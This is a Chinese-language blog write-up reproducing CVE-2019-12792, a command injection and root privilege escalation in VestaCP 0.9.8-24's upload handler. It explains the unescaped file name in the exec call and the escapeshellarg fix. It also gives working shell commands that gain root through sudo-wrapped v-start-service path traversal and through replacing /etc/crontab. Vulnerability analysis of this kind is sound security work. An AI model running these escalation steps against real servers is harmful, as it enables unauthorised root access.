[CVE-2019-12792]Vesta控制面板0.9.8-24-上载处理程序中的权限提升漏洞分析

本文最后更新于:2021年8月19日 下午

前几天看到了一篇CVE-2021-28379分析文章,觉得很有意思就自己动手分析了一遍。后边又搜了一下 VestaCP 的历史漏洞,一不做二不休干脆全都复现一遍。而当复现到 CVE-2019-12792,我是怎么复现也不能复现成功。最后才发现我分析的是旧版本 0.98-24 的源码,搭的环境用的却是最新版本 0.98-26。呜呜被自己蠢哭了…

0x01 CVE-2019-12792 的漏洞成因

定位漏洞文件,在/web/upload/UploadHandler.php
image.png
file_path 为上传文件的文件名,用户可控。同时在 exec VESTA_CMD 中充当v-copy-fs-file的参数,并只用了''包裹。可将文件名用单引号引起来并以用户身份 admin(在 VestaCP 中运行 Web 服务器的用户)盲目运行其他命令。
image.png

提权到 ROOT 获取

1. 滥用 v-start-service 命令

该 service 系统命令提供一种方式来执行任意的可执行文件和不仅初始化脚本。由于 v-start-service 只是一个包装 service,因此可以利用它来运行任意可执行文件 root。
COMMAND 如下设置变量:

1
2
3
4
$ COMMAND='
echo "id >/usr/local/vesta/web/proof" >/tmp/x
chmod +x /tmp/x
sudo /usr/local/vesta/bin/v-start-service ../../tmp/x'

运行上述其余命令,然后检查是否在 Web 服务器根目录中创建了证明文件:

1
2
$ curl -k https://target.com:8083/proof
uid=0(root) gid=0(root) groups=0(root)

2. 使用 cron 计划任务

admin 用户合法执行 root 命令的一种简单方法是替换/etc/crontab 文件,然后使用 v-change-sys-service-configVestaCP 实用程序重新启动 cron 守护程序。COMMAND 如下设置变量:

1
2
3
$ COMMAND='
echo "* * * * * root id >/usr/local/vesta/web/proof" >/tmp/x
sudo /usr/local/vesta/bin/v-change-sys-service-config /tmp/x cron yes'

运行上述其余命令,然后在一分钟后检查是否在 Web 服务器根目录中创建了证明文件:

1
2
$ curl -k https://target.com:8083/proof
uid=0(root) gid=0(root) groups=0(root)

0x02 漏洞修复

漏洞修复的一劳永逸,用了 escapeshellarg 对 file_path 进行处理。
image.png

0x03 Reference

[1] https://www.cvedetails.com/vulnerability-list/vendor_id-15494/Vestacp.html
[2] https://cardaci.xyz/advisories/2019/08/12/vesta-control-panel-0.9.8-24-privilege-escalation-in-the-upload-handler